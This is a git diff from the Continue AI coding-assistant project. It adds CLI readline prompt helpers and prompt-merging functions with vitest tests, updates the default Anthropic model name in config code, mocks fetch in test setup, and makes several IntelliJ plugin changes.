describe("question", () => { + it("should return user input", async () => { + const promptText = "What is your name? "; + const userInput = "John Doe"; + + // Setup mock to call the callback with user input + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(userInput), 0); + }, + ); + + const result = await question(promptText); + + expect(mockInterface.question).toHaveBeenCalledWith( + promptText, + expect.any(Function), + ); + expect(mockInterface.close).toHaveBeenCalled(); + expect(result).toBe(userInput); + }); + + it("should handle empty input", async () => { + const promptText = "Enter something: "; + + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(""), 0); + }, + ); + + const result = await question(promptText); + + expect(result).toBe(""); + }); + + it("should handle special characters in input", async () => { + const promptText = "Enter special chars: "; + const userInput = "!@#$%^&*()_+-=[]{}|;':\",./<>?"; + + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(userInput), 0); + }, + ); + + const result = await question(promptText); + + expect(result).toBe(userInput); + }); + + it.skip("should handle SIGINT (Ctrl+C) by exiting process", async () => { + const promptText = "Enter something: "; + let sigintHandler: (() => void) | null = null; + + // Setup mock to capture SIGINT handler + mockInterface.on.mockImplementation( + (event: string, handler: () => void) => { + if (event === "SIGINT") { + sigintHandler = handler; + } + return mockInterface; + }, + ); + + // Setup question mock that doesn't resolve immediately + mockInterface.question.mockImplementation(() => { + // Trigger SIGINT after question is called + setTimeout(() => { + if (sigintHandler) { + sigintHandler(); + } + }, 10); + }); + + // The promise should reject when SIGINT is triggered + await expect(question(promptText)).rejects.toThrow("Process exit"); + expect(processExitSpy).toHaveBeenCalledWith(0); + }); + }); + + describe("questionWithChoices", () => { + it("should accept valid choice", async () => { + const promptText = "Choose (1): "; + const choices = ["1", "2", "3"]; + const userChoice = "2"; + + mockInterface.question.mockImplementationOnce( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(userChoice), 0); + }, + ); + + const result = await questionWithChoices(promptText, choices); + expect(result).toBe(userChoice); + }); + + it("should use default choice when empty input is provided", async () => { + const promptText = "Choose (1): "; + const choices = ["1", "2", "3"]; + const defaultChoice = "1"; + + mockInterface.question.mockImplementationOnce( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(""), 0); + }, + ); + + const result = await questionWithChoices( + promptText, + choices, + defaultChoice, + ); + expect(result).toBe(defaultChoice); + }); + + it("should reject invalid choice and ask again", async () => { + const promptText = "Choose (1 or 2): "; + const choices = ["1", "2"]; + const limitMessage = "Please enter 1 or 2"; + + let callCount = 0; + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => { + if (callCount === 0) { + callCount++; + callback("3"); // Invalid choice + } else { + callback("1"); // Valid choice + } + }, 0); + }, + ); + + const result = await questionWithChoices( + promptText, + choices, + undefined, + limitMessage, + ); + expect(result).toBe("1"); + expect(consoleLogSpy).toHaveBeenCalledWith(limitMessage); + }); + + it("should handle multiple invalid attempts before valid choice", async () => { + const promptText = "Choose: "; + const choices = ["yes", "no"]; + const limitMessage = "Invalid choice"; + + let callCount = 0; + const invalidAnswers = ["maybe", "perhaps"]; + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => { + if (callCount < invalidAnswers.length) { + callback(invalidAnswers[callCount++]); + } else { + callback("yes"); + } + }, 0); + }, + ); + + const result = await questionWithChoices( + promptText, + choices, + undefined, + limitMessage, + ); + expect(result).toBe("yes"); + expect(consoleLogSpy).toHaveBeenCalledTimes(2); + }); + + it("should not show limit message when none provided", async () => { + const promptText = "Choose: "; + const choices = ["a", "b"]; + + let callCount = 0; + mockInterface.question.mockImplementation( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => { + if (callCount === 0) { + callCount++; + callback("c"); // Invalid + } else { + callback("a"); // Valid + } + }, 0); + }, + ); + + const result = await questionWithChoices(promptText, choices); + expect(result).toBe("a"); + expect(consoleLogSpy).not.toHaveBeenCalled(); + }); + + it("should handle empty string as valid choice", async () => { + const promptText = "Press Enter to continue or type 'cancel': "; + const choices = ["", "cancel"]; + + mockInterface.question.mockImplementationOnce( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(""), 0); + }, + ); + + const result = await questionWithChoices(promptText, choices); + expect(result).toBe(""); + }); + + it("should handle choice with spaces", async () => { + const promptText = "Choose an option: "; + const choices = ["option one", "option two", "option three"]; + const userChoice = "option two"; + + mockInterface.question.mockImplementationOnce( + (prompt: string, callback: (answer: string) => void) => { + setTimeout(() => callback(userChoice), 0); + }, + ); + + const result = await questionWithChoices(promptText, choices); + expect(result).toBe(userChoice); + }); + }); +}); diff --git a/extensions/cli/src/util/prompt.ts b/extensions/cli/src/util/prompt.ts new file mode 100644 index 000000000..a691f89f4 --- /dev/null +++ b/extensions/cli/src/util/prompt.ts @@ -0,0 +1,60 @@ +import * as readline from "readline"; + +/** + * Creates a promise-based question prompt using readline + * Properly handles backspace and Ctrl+C + */ +export function question(prompt: string): Promise { + return new Promise((resolve) => { + const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: true, + }); + + // Handle Ctrl+C properly + rl.on("SIGINT", () => { + console.log("\n"); + rl.close(); + process.exit(0); + }); + + rl.question(prompt, (answer) => { + rl.close(); + resolve(answer); + }); + }); +} + +/** + * Creates a prompt with limited choices + * @param prompt The prompt to display + * @param choices Array of valid choices + * @param defaultChoice Default choice if user presses enter + * @param limitMessage Message to show when invalid choice is entered + */ +export async function questionWithChoices( + prompt: string, + choices: string[], + defaultChoice?: string, + limitMessage?: string, +): Promise { + while (true) { + const answer = await question(prompt); + + // Handle default choice + if (answer === "" && defaultChoice !== undefined) { + return defaultChoice; + } + + // Check if answer is valid + if (choices.includes(answer)) { + return answer; + } + + // Show limit message if provided + if (limitMessage) { + console.log(limitMessage); + } + } +} diff --git a/extensions/cli/src/util/promptProcessor.test.ts b/extensions/cli/src/util/promptProcessor.test.ts index 4644e17c8..605b6dd2d 100644 --- a/extensions/cli/src/util/promptProcessor.test.ts +++ b/extensions/cli/src/util/promptProcessor.test.ts @@ -1,12 +1,12 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; -import * as args from "../args.js"; +import { processRule } from "../hubLoader.js"; -import { processAndCombinePrompts } from "./promptProcessor.js"; +import { prependPrompt, processAndCombinePrompts } from "./promptProcessor.js"; // Mock the args module -vi.mock("../args.js", () => ({ - processPromptOrRule: vi.fn(), +vi.mock("../hubLoader.js", () => ({ + processRule: vi.fn(), })); // Mock the logger @@ -38,7 +38,7 @@ describe("promptProcessor", () => { }); it("should process single additional prompt without initial", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule.mockResolvedValue("processed prompt"); const result = await processAndCombinePrompts(["prompt1"]); @@ -48,7 +48,7 @@ describe("promptProcessor", () => { }); it("should combine multiple processed prompts", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule .mockResolvedValueOnce("first prompt") .mockResolvedValueOnce("second prompt"); @@ -62,7 +62,7 @@ describe("promptProcessor", () => { }); it("should combine processed prompts with initial prompt", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule .mockResolvedValueOnce("processed1") .mockResolvedValueOnce("processed2"); @@ -76,7 +76,7 @@ describe("promptProcessor", () => { }); it("should handle processing errors and continue with successful ones", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule .mockResolvedValueOnce("success1") .mockRejectedValueOnce(new Error("processing failed")) @@ -89,7 +89,7 @@ describe("promptProcessor", () => { }); it("should return initial prompt when all processing fails", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule .mockRejectedValueOnce(new Error("fail1")) .mockRejectedValueOnce(new Error("fail2")); @@ -103,7 +103,7 @@ describe("promptProcessor", () => { }); it("should return undefined when all processing fails and no initial", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule.mockRejectedValue(new Error("processing failed")); const result = await processAndCombinePrompts(["bad"]); @@ -112,7 +112,7 @@ describe("promptProcessor", () => { }); it("should warn when processing fails", async () => { - const mockProcessPromptOrRule = vi.mocked(args.processPromptOrRule); + const mockProcessPromptOrRule = vi.mocked(processRule); mockProcessPromptOrRule.mockRejectedValue(new Error("test error")); const { logger } = await import("./logger.js"); @@ -125,3 +125,179 @@ describe("promptProcessor", () => { }); }); }); + +describe("prependPrompt", () => { + describe("normal cases", () => { + it("should combine two non-empty strings with double newlines", () => { + const result = prependPrompt("Hello", "World"); + expect(result).toBe("Hello\n\nWorld"); + }); + + it("should combine multi-line strings correctly", () => { + const prepend = "Line 1\nLine 2"; + const original = "Line 3\nLine 4"; + const result = prependPrompt(prepend, original); + expect(result).toBe("Line 1\nLine 2\n\nLine 3\nLine 4"); + }); + + it("should handle strings with special characters", () => { + const prepend = "Special: @#$%^&*()"; + const original = "Unicode: 🚀 ∑ ∆"; + const result = prependPrompt(prepend, original); + expect(result).toBe("Special: @#$%^&*()\n\nUnicode: 🚀 ∑ ∆"); + }); + }); + + describe("undefined parameter cases", () => { + it("should handle undefined prepend with defined original", () => { + const result = prependPrompt(undefined, "original"); + expect(result).toBe("original"); + }); + + it("should handle defined prepend with undefined original", () => { + const result = prependPrompt("prepend", undefined); + expect(result).toBe("prepend"); + }); + + it("should return undefined when both parameters are undefined", () => { + const result = prependPrompt(undefined, undefined); + expect(result).toBeUndefined(); + }); + }); + + describe("empty string cases", () => { + it("should handle empty prepend with non-empty original", () => { + const result = prependPrompt("", "original"); + expect(result).toBe("original"); + }); + + it("should handle non-empty prepend with empty original", () => { + const result = prependPrompt("prepend", ""); + expect(result).toBe("prepend"); + }); + + it("should return undefined when both parameters are empty strings", () => { + const result = prependPrompt("", ""); + expect(result).toBeUndefined(); + }); + + it("should handle mixed undefined and empty string", () => { + const result1 = prependPrompt(undefined, ""); + const result2 = prependPrompt("", undefined); + expect(result1).toBeUndefined(); + expect(result2).toBeUndefined(); + }); + }); + + describe("whitespace cases", () => { + it("should trim leading and trailing whitespace", () => { + const result = prependPrompt(" hello ", " world "); + expect(result).toBe("hello\n\nworld"); + }); + + it("should return undefined when result is only whitespace", () => { + const result = prependPrompt(" ", " "); + expect(result).toBeUndefined(); + }); + + it("should handle newlines in parameters", () => { + const prepend = "\nhello\n"; + const original = "\nworld\n"; + const result = prependPrompt(prepend, original); + expect(result).toBe("hello\n\nworld"); + }); + + it("should handle mixed whitespace characters", () => { + const prepend = "\t hello \t"; + const original = "\r\n world \r\n"; + const result = prependPrompt(prepend, original); + expect(result).toBe("hello\n\nworld"); + }); + + it("should preserve internal whitespace and newlines", () => { + const prepend = "hello\n world"; + const original = "foo\t\tbar"; + const result = prependPrompt(prepend, original); + expect(result).toBe("hello\n world\n\nfoo\t\tbar"); + }); + }); + + describe("edge cases", () => { + it("should handle very long strings", () => { + const longString = "a".repeat(10000); + const result = prependPrompt(longString, "short"); + expect(result).toBe(`${longString}\n\nshort`); + expect(result?.length).toBe(10000 + 2 + 5); // long + \n\n + short + }); + + it("should handle strings with only newlines", () => { + const result = prependPrompt("\n\n\n", "\n\n"); + expect(result).toBeUndefined(); + }); + + it("should handle one parameter with content and other with only whitespace", () => { + const result1 = prependPrompt("content", " \n "); + const result2 = prependPrompt(" \t ", "content"); + expect(result1).toBe("content"); + expect(result2).toBe("content"); + }); + }); + + describe("boundary conditions", () => { + it("should return undefined for whitespace-only result after trim", () => { + const cases = [ + ["", ""], + [" ", ""], + ["", " "], + [" ", " "], + ["\n", "\n"], + ["\t", "\r"], + [undefined, ""], + ["", undefined], + [undefined, undefined], + [" \n ", " \n "], + ] as const; + + cases.forEach(([prepend, original]) => { + const result = prependPrompt(prepend, original); + expect(result).toBeUndefined(); + }); + }); + + it("should return trimmed string for non-empty result", () => { + const cases = [ + ["a", "", "a"], + ["", "b", "b"], + ["a", "b", "a\n\nb"], + [" a ", "", "a"], + ["", " b ", "b"], + [" a ", " b ", "a\n\nb"], + [undefined, "content", "content"], + ["content", undefined, "content"], + ] as const; + + cases.forEach(([prepend, original, expected]) => { + const result = prependPrompt(prepend, original); + expect(result).toBe(expected); + }); + }); + }); + + describe("return type consistency", () => { + it("should always return string or undefined", () => { + const testCases = [ + ["hello", "world"], + [undefined, "world"], + ["hello", undefined], + [undefined, undefined], + ["", ""], + [" ", " "], + ] as const; + + testCases.forEach(([prepend, original]) => { + const result = prependPrompt(prepend, original); + expect(typeof result === "string" || result === undefined).toBe(true); + }); + }); + }); +}); diff --git a/extensions/cli/src/util/promptProcessor.ts b/extensions/cli/src/util/promptProcessor.ts index c6173738f..65452c480 100644 --- a/extensions/cli/src/util/promptProcessor.ts +++ b/extensions/cli/src/util/promptProcessor.ts @@ -1,4 +1,4 @@ -import { processPromptOrRule } from "../args.js"; +import { processRule } from "../hubLoader.js"; import { logger } from "./logger.js"; @@ -20,7 +20,7 @@ export async function processAndCombinePrompts( for (const promptSpec of additionalPrompts) { try { - const processed = await processPromptOrRule(promptSpec); + const processed = await processRule(promptSpec); processedPrompts.push(processed); } catch (error: any) { logger.warn(`Failed to process prompt "${promptSpec}": ${error.message}`); @@ -36,3 +36,14 @@ export async function processAndCombinePrompts( ? `${combinedPrompts}\n\n${initialPrompt}` : combinedPrompts; } + +// Merges two prompts with new lines between them, handling undefined +export function prependPrompt( + prepend: string | undefined, + original: string | undefined, +) { + return ( + `${(prepend ?? "").trim()}\n\n${(original ?? "").trim()}`.trim() || + undefined + ); +} diff --git a/extensions/cli/src/util/yamlConfigUpdater.test.ts b/extensions/cli/src/util/yamlConfigUpdater.test.ts index cb65b6b9e..c92d035aa 100644 --- a/extensions/cli/src/util/yamlConfigUpdater.test.ts +++ b/extensions/cli/src/util/yamlConfigUpdater.test.ts @@ -12,7 +12,7 @@ describe("updateAnthropicModelInYaml", () => { expect(result).toContain("name: Local Config"); expect(result).toContain("version: 1.0.0"); expect(result).toContain("schema: v1"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); @@ -21,7 +21,7 @@ describe("updateAnthropicModelInYaml", () => { const result = updateAnthropicModelInYaml(invalidYaml, testApiKey); expect(result).toContain("name: Local Config"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); }); @@ -44,7 +44,7 @@ models: expect(result).toContain("# My Continue config"); expect(result).toContain("# List of available models"); expect(result).toContain("uses: openai/gpt-4"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); @@ -55,7 +55,7 @@ version: 1.0.0 schema: v1 # List of available models models: - - uses: anthropic/claude-4-sonnet + - uses: anthropic/claude-sonnet-4-5 with: ANTHROPIC_API_KEY: old-key `; @@ -64,7 +64,7 @@ models: expect(result).toContain("# My Continue config"); expect(result).toContain("# List of available models"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); expect(result).not.toContain("old-key"); }); @@ -84,7 +84,7 @@ models: const result = updateAnthropicModelInYaml(existingConfig, testApiKey); expect(result).toContain("uses: openai/gpt-4"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); expect(result).toContain("OPENAI_API_KEY: TEST-openai-test"); }); @@ -94,7 +94,7 @@ models: version: 1.0.0 schema: v1 models: - - uses: anthropic/claude-4-sonnet + - uses: anthropic/claude-sonnet-4-5 with: ANTHROPIC_API_KEY: old-anthropic-key - uses: openai/gpt-4 @@ -104,7 +104,7 @@ models: const result = updateAnthropicModelInYaml(existingConfig, testApiKey); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("uses: openai/gpt-4"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); expect(result).toContain("OPENAI_API_KEY: TEST-openai-test"); @@ -112,7 +112,7 @@ models: // Should only have one anthropic model const anthropicMatches = result.match( - /uses: anthropic\/claude-4-sonnet/g, + /uses: anthropic\/claude-sonnet-4-5/g, ); expect(anthropicMatches).toHaveLength(1); }); @@ -130,7 +130,7 @@ schema: v1 expect(result).toContain("name: Local Config"); expect(result).toContain("models:"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); @@ -147,7 +147,7 @@ models: [] ); expect(result).toContain("name: Local Config"); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); }); @@ -189,7 +189,7 @@ models: "not an array" const result = updateAnthropicModelInYaml(malformedConfig, testApiKey); - expect(result).toContain("uses: anthropic/claude-4-sonnet"); + expect(result).toContain("uses: anthropic/claude-sonnet-4-5"); expect(result).toContain("ANTHROPIC_API_KEY: sk-ant-test123456789"); }); diff --git a/extensions/cli/src/util/yamlConfigUpdater.ts b/extensions/cli/src/util/yamlConfigUpdater.ts index 738f075cf..4c249bb1f 100644 --- a/extensions/cli/src/util/yamlConfigUpdater.ts +++ b/extensions/cli/src/util/yamlConfigUpdater.ts @@ -27,7 +27,7 @@ export function updateAnthropicModelInYaml( apiKey: string, ): string { const newModel: ModelConfig = { - uses: "anthropic/claude-4-sonnet", + uses: "anthropic/claude-sonnet-4-5", with: { ANTHROPIC_API_KEY: apiKey, }, @@ -62,7 +62,7 @@ export function updateAnthropicModelInYaml( // Filter out existing anthropic models config.models = config.models.filter( - (model: any) => !model || model.uses !== "anthropic/claude-4-sonnet", + (model: any) => !model || model.uses !== "anthropic/claude-sonnet-4-5", ); // Add the new anthropic model diff --git a/extensions/cli/vitest.setup.ts b/extensions/cli/vitest.setup.ts index d94470c02..2dcf0f8d0 100644 --- a/extensions/cli/vitest.setup.ts +++ b/extensions/cli/vitest.setup.ts @@ -4,6 +4,44 @@ import { resetConsoleOverrides } from "./src/init.js"; // Disable telemetry for tests process.env.CONTINUE_CLI_ENABLE_TELEMETRY = "0"; +process.env.CONTINUE_ALLOW_ANONYMOUS_TELEMETRY = "0"; + +// Mock fetch to prevent actual API calls in tests +const originalFetch = global.fetch; +global.fetch = vi + .fn() + .mockImplementation(async (url: string | URL, ...args) => { + const urlString = url.toString(); + + // Mock the default-agent API call + if (urlString.includes("get-assistant/continuedev/default-agent")) { + return { + ok: true, + status: 200, + json: async () => ({ + configResult: { + config: { + name: "Default Agent", + version: "0.0.1", + schema: "v1", + models: [ + { + provider: "anthropic", + name: "claude-sonnet-4-5", + apiKey: "test-key", + roles: ["chat"], + }, + ], + rules: [], + mcpServers: [], + }, + errors: [], + }, + }), + }; + } + return originalFetch(url, ...args); + }); // Mock the 'open' package to prevent browser opening during tests vi.mock("open", () => ({ diff --git a/extensions/intellij/README.md b/extensions/intellij/README.md index a7a7119e6..1eea37b85 100644 --- a/extensions/intellij/README.md +++ b/extensions/intellij/README.md @@ -16,9 +16,15 @@

+
+ **Ship faster with Continuous AI** -**Build and run custom agents across your IDE, terminal, and CI** +**The future of coding isn't writing more code. It's delegating the boring parts, so you can build the interesting stuff** + +
+ +Get started in [Mission Control](https://hub.continue.dev/agents), [CLI (Headless Mode)](https://docs.continue.dev/cli/quick-start#headless-mode), or [CLI (TUI mode)](https://docs.continue.dev/cli/quick-start#tui-mode) ## Agent diff --git a/extensions/intellij/gradle.properties b/extensions/intellij/gradle.properties index 92258d32c..2fd1ea6b8 100644 --- a/extensions/intellij/gradle.properties +++ b/extensions/intellij/gradle.properties @@ -1,5 +1,5 @@ pluginGroup=com.github.continuedev.continueintellijextension -pluginVersion=1.0.45 +pluginVersion=1.0.52 platformVersion=2024.1 kotlin.stdlib.default.dependency=false org.gradle.configuration-cache=true diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/ActionsUtils.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/ActionsUtils.kt new file mode 100644 index 000000000..71f8412a5 --- /dev/null +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/ActionsUtils.kt @@ -0,0 +1,14 @@ +package com.github.continuedev.continueintellijextension.actions + +import com.intellij.openapi.actionSystem.AnActionEvent +import com.intellij.openapi.actionSystem.CommonDataKeys +import com.intellij.openapi.vfs.VirtualFile + +fun AnActionEvent.getSelectedFiles(): Array { + val multipleFiles = this.getData(CommonDataKeys.VIRTUAL_FILE_ARRAY) + if (multipleFiles != null) { + return multipleFiles + } + + return this.getData(CommonDataKeys.VIRTUAL_FILE)?.let { arrayOf(it) } ?: emptyArray() +} diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/AddToChatAction.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/AddToChatAction.kt new file mode 100644 index 000000000..8a8884ae1 --- /dev/null +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/actions/AddToChatAction.kt @@ -0,0 +1,38 @@ +package com.github.continuedev.continueintellijextension.actions + +import com.github.continuedev.continueintellijextension.browser.ContinueBrowserService.Companion.getBrowser +import com.intellij.openapi.actionSystem.ActionUpdateThread +import com.intellij.openapi.actionSystem.AnAction +import com.intellij.openapi.actionSystem.AnActionEvent + +class AddToChatAction : AnAction() { + override fun actionPerformed(e: AnActionEvent) { + val browser = e.project?.getBrowser() ?: return + val selectedFiles = e.getSelectedFiles() + + val requestData = selectedFiles.map { vFile -> + val type = if (vFile.isDirectory) "folder" else "file" + + mapOf( + "type" to type, + "fullPath" to vFile.url, + "name" to vFile.name, + ) + } + val requestParams = mapOf( + "data" to requestData + ) + + browser.sendToWebview("addToChat", requestParams) + } + + override fun update(e: AnActionEvent) { + val files = e.getSelectedFiles() + + val isAvailable = files.isNotEmpty() + + e.presentation.isVisible = isAvailable + } + + override fun getActionUpdateThread(): ActionUpdateThread = ActionUpdateThread.BGT +} diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/activities/ContinuePluginStartupActivity.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/activities/ContinuePluginStartupActivity.kt index 61cda0c42..501a56bc3 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/activities/ContinuePluginStartupActivity.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/activities/ContinuePluginStartupActivity.kt @@ -29,7 +29,9 @@ import java.nio.charset.StandardCharsets import java.nio.file.Paths import javax.swing.* import com.intellij.openapi.components.service +import com.intellij.openapi.module.Module import com.intellij.openapi.module.ModuleManager +import com.intellij.openapi.project.ModuleListener import com.intellij.openapi.roots.ModuleRootManager import com.intellij.openapi.vfs.VirtualFileManager import com.intellij.openapi.vfs.newvfs.BulkFileListener @@ -39,6 +41,7 @@ import com.intellij.openapi.vfs.newvfs.events.VFileContentChangeEvent import com.intellij.openapi.vfs.newvfs.events.VFileCreateEvent import com.intellij.ide.ui.LafManagerListener import com.intellij.openapi.vfs.VirtualFile +import com.intellij.util.Function fun showTutorial(project: Project) { val tutorialFileName = getTutorialFileName() @@ -193,6 +196,41 @@ class ContinuePluginStartupActivity : StartupActivity, DumbAware { } }) + // Handle workspace directories changes + connection.subscribe( + ModuleListener.TOPIC, + object : ModuleListener { + override fun modulesAdded(project: Project, modules: MutableList) { + + val allModulePaths = ModuleManager.getInstance(project).modules + .flatMap { module -> ModuleRootManager.getInstance(module).contentRoots.mapNotNull { it.toUriOrNull() } } + + val topLevelModulePaths = allModulePaths + .filter { modulePath -> allModulePaths.none { it != modulePath && modulePath.startsWith(it) } } + + continuePluginService.workspacePaths = topLevelModulePaths.toTypedArray(); + } + + override fun moduleRemoved(project: Project, module: Module) { + val removedPaths = ModuleRootManager.getInstance(module).contentRoots.mapNotNull { it.toUriOrNull() } ; + continuePluginService.workspacePaths = continuePluginService.workspacePaths?.toList()?.filter { path -> removedPaths.none {removedPath -> path == removedPath }}?.toTypedArray(); + } + + override fun modulesRenamed( + project: Project, + modules: MutableList, + oldNameProvider: Function + ) { + val allModulePaths = ModuleManager.getInstance(project).modules + .flatMap { module -> ModuleRootManager.getInstance(module).contentRoots.mapNotNull { it.toUriOrNull() } } + + val topLevelModulePaths = allModulePaths + .filter { modulePath -> allModulePaths.none { it != modulePath && modulePath.startsWith(it) } } + + continuePluginService.workspacePaths = topLevelModulePaths.toTypedArray() + } + } + ) connection.subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, object : FileEditorManagerListener { override fun fileClosed(source: FileEditorManager, file: VirtualFile) { diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/autocomplete/ContinueCompletionService.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/autocomplete/ContinueCompletionService.kt index 4eae86f8d..6fbb2fbee 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/autocomplete/ContinueCompletionService.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/autocomplete/ContinueCompletionService.kt @@ -16,7 +16,7 @@ class ContinueCompletionService(private val project: Project) : CompletionServic override suspend fun getAutocomplete(uuid: String, url: String, line: Int, column: Int): String? { val requestInput = getCompletionInput(uuid, url, line, column) val modelTimeout = project.service().fetchModelTimeoutOrNull() ?: 1000.0 - return withTimeoutOrNull(modelTimeout.milliseconds) { + return withTimeoutOrNull(modelTimeout.milliseconds * 3) { suspendCancellableCoroutine { continuation -> project.service().coreMessenger?.request( "autocomplete/complete", diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/browser/ContinueBrowser.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/browser/ContinueBrowser.kt index 5b4f862c0..836ad0cb1 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/browser/ContinueBrowser.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/browser/ContinueBrowser.kt @@ -2,8 +2,8 @@ package com.github.continuedev.continueintellijextension.browser import com.github.continuedev.continueintellijextension.constants.MessageTypes import com.github.continuedev.continueintellijextension.services.ContinuePluginService +import com.github.continuedev.continueintellijextension.services.GsonService import com.github.continuedev.continueintellijextension.utils.uuid -import com.google.gson.Gson import com.intellij.openapi.Disposable import com.intellij.openapi.components.service import com.intellij.openapi.diagnostic.Logger @@ -15,7 +15,10 @@ import org.cef.browser.CefBrowser import org.cef.handler.CefLoadHandlerAdapter import javax.swing.JComponent -class ContinueBrowser(private val project: Project): Disposable { +class ContinueBrowser( + private val project: Project, + private val gsonService: GsonService = service(), +): Disposable { private val log = Logger.getInstance(ContinueBrowser::class.java.simpleName) private val browser: JBCefBrowser = JBCefBrowser.createBuilder().setOffScreenRendering(true).build() @@ -25,7 +28,7 @@ class ContinueBrowser(private val project: Project): Disposable { CefApp.getInstance().registerSchemeHandlerFactory("http", "continue", CustomSchemeHandlerFactory()) browser.jbCefClient.setProperty(JBCefClient.Properties.JS_QUERY_POOL_SIZE, 200) myJSQueryOpenInBrowser.addHandler { msg: String? -> - val json = Gson().fromJson(msg, BrowserMessage::class.java) + val json = gsonService.gson.fromJson(msg, BrowserMessage::class.java) val messageType = json.messageType val data = json.data val messageId = json.messageId @@ -82,7 +85,7 @@ class ContinueBrowser(private val project: Project): Disposable { } fun sendToWebview(messageType: String, data: Any? = null, messageId: String = uuid()) { - val json = Gson().toJson(BrowserMessage(messageType, messageId, data)) + val json = gsonService.gson.toJson(BrowserMessage(messageType, messageId, data)) val jsCode = """window.postMessage($json, "*");""" try { browser.executeJavaScriptAsync(jsCode) diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/constants/MessageTypes.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/constants/MessageTypes.kt index 63484d9eb..9254537e2 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/constants/MessageTypes.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/constants/MessageTypes.kt @@ -92,6 +92,9 @@ class MessageTypes { "config/updateSharedConfig", "config/updateSelectedModel", "mcp/reloadServer", + "mcp/startAuthentication", + "mcp/removeAuthentication", + "mcp/setServerEnabled", "mcp/getPrompt", "context/getContextItems", "context/getSymbolsForFiles", @@ -119,6 +122,7 @@ class MessageTypes { "llm/listModels", "llm/compileChat", "streamDiffLines", + "getDiffLines", "chatDescriber/describe", "conversation/compact", "stats/getTokensPerDay", @@ -142,6 +146,7 @@ class MessageTypes { "didChangeSelectedOrg", "tools/call", "tools/evaluatePolicy", + "tools/preprocessArgs", "controlPlane/openUrl", "isItemTooBig", 